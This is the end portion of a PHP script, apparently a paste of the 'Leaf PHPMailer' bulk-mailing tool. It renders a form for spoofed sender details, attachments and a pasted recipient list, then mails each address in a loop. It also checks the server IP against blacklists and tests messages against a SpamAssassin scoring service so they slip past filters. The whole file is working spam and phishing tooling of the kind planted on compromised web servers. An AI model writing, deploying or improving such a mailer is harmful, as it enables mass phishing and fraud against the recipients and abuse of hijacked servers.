  4329.      * Prettify error message output
  4330.      * @return string
  4331.      */
  4332.     public function errorMessage()
  4333.     {
  4334.         $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
  4335.         return $errorMsg;
  4336.     }
  4337. }
  4338. function leafheader(){
  4339. print '
  4340. <head>
  4341.    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
  4342.    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  4343.    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >
  4344.  
  4345. </head>';
  4346. }
  4347. leafheader();
  4348. print '<body>';
  4349. print '<div class="container col-lg-6">
  4350.        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
  4351.        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
  4352.                    <input type="hidden" name="action" value="score">
  4353.  
  4354.            <div class="row">
  4355.                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
  4356.                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
  4357.            </div>
  4358.            <div class="row">
  4359.                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
  4360.  
  4361.                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
  4362.            </div>
  4363.            <div class="row">
  4364.                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
  4365.            </div>
  4366.            <div class="row">
  4367.                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
  4368.                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
  4369.            </div>
  4370.            <div class="row">
  4371.                <div class="form-group col-lg-6 ">
  4372.                    <label for="messageType">Message Type</label>
  4373.                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
  4374.                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
  4375.                </div>
  4376.                <div class="form-group col-lg-3 ">
  4377.                    <label for="charset">Character set</label>
  4378.                    <select class="form-control input-sm" id="charset" name="charset">
  4379.                        <option '.$utf8.'>UTF-8</option>
  4380.                        <option '.$iso.'>ISO-8859-1</option>
  4381.                    </select>
  4382.                </div>
  4383.                <div class="form-group col-lg-3 ">
  4384.                    <label for="encoding">Message encoding</label>
  4385.                    <select class="form-control input-sm" id="encode" name="encode">
  4386.                        <option '.$bit8.'>8bit</option>
  4387.                        <option '.$bit7.'>7bit</option>
  4388.                        <option '.$binary.'>binary</option>
  4389.                        <option '.$base64.'>base64</option>
  4390.                        <option '.$quotedprintable.'>quoted-printable</option>
  4391.  
  4392.                    </select>
  4393.                </div>
  4394.            </div>
  4395.            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
  4396.  
  4397.        </form>
  4398.    </div>
  4399.    <div class="col-lg-6"><br>
  4400.        <label for="well">Instruction</label>
  4401.        <div id="well" class="well well">
  4402.            <h4>Server Information</h4>
  4403.            <ul>
  4404.                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
  4405.                <li>PHP Version : <b>'.phpversion().'</b></li>
  4406.                
  4407.  
  4408.            </ul>
  4409.            <h4>HELP</h4>
  4410.            <ul>
  4411.                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
  4412.                <ul>
  4413.                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
  4414.                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
  4415.                </ul>
  4416.                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
  4417.                
  4418.                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
  4419.                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
  4420.                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
  4421.                <li>[-randommd5-] : <b>Random MD5 </b></li>
  4422.            </ul>
  4423.            <h4>example</h4>
  4424.            Receiver Email = <b>user@domain.com</b><br>
  4425.            <ul>
  4426.                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
  4427.                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
  4428.                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
  4429.            </ul>
  4430.  
  4431.            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
  4432.        </div>
  4433.    </div>';  
  4434. if($_POST['action']=="send"){
  4435.     print '    <div class="col-lg-12">';
  4436.     $maillist=explode("\r\n", $emailList);
  4437.     $n=count($maillist);
  4438.     $x =1;
  4439.     foreach ($maillist as $email ) {
  4440.         print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
  4441.         if(!leafMailCheck($email)) {
  4442.             print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
  4443.             print "<br>\r\n";
  4444.         }
  4445.         else {
  4446.             $mail = new PHPMailer;
  4447.             $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
  4448.             $mail->addReplyTo(leafClear($replyTo,$email));
  4449.             $mail->addAddress($email);
  4450.             $mail->Subject = leafClear($subject,$email);
  4451.             $mail->Body =  leafClear($messageLetter,$email);
  4452.             if($messageType==1){
  4453.                 $mail->IsHTML(true);
  4454.                 $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
  4455.             }
  4456.             else $mail->IsHTML(false);
  4457.             $mail->CharSet = $charset;
  4458.             $mail->Encoding = $encoding;
  4459.             for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
  4460.                 if ($_FILES['attachment']['tmp_name'][$i] != ""){
  4461.                     $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
  4462.                 }
  4463.  
  4464.             }
  4465.            
  4466.             if (!$mail->send()) {
  4467.                 echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
  4468.             }
  4469.             else {
  4470.                 echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
  4471.             }
  4472.             print "<br>\r\n";
  4473.         }
  4474.         $x++;
  4475.         for($k = 0; $k < 40000; $k++) {echo ' ';}
  4476.     }
  4477.  
  4478. }
  4479. elseif($_POST['action']=="score"){
  4480.     $mail = new PHPMailer;
  4481.     $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
  4482.     $mail->addReplyTo(leafClear($replyTo,$email));
  4483.     $mail->addAddress("username@domain.com");
  4484.     $mail->Subject = leafClear($subject,$email);
  4485.     $mail->Body =  leafClear($messageLetter,$email);
  4486.     if($messageType==1){
  4487.         $mail->IsHTML(true);
  4488.         $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
  4489.     }
  4490.     else $mail->IsHTML(false);
  4491.     $mail->CharSet = $charset;
  4492.     $mail->Encoding = $encoding;
  4493.     $mail->preSend();
  4494.     $messageHeaders=$mail->getSentMIMEMessage();
  4495.     $ch = curl_init();
  4496.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  4497.     curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
  4498.     curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
  4499.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  4500.     curl_setopt($ch, CURLOPT_TIMEOUT, 15);
  4501.     $response = curl_exec($ch);
  4502.     $response = json_decode($response);
  4503.     print '    <div class="col-lg-12">';
  4504.     if ($response->success == TRUE ){
  4505.         $score = $response->score;
  4506.         if ($score > 5 ) $class="danger";
  4507.         else $class="success";
  4508.             print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
  4509. <div>Full Report : <pre>'.$response->report.'</pre></div>';
  4510. print '    </div>';
  4511.     }
  4512. }
  4513. print '</body>';
  4514. ?>
Add Comment
Please, Sign In to add comment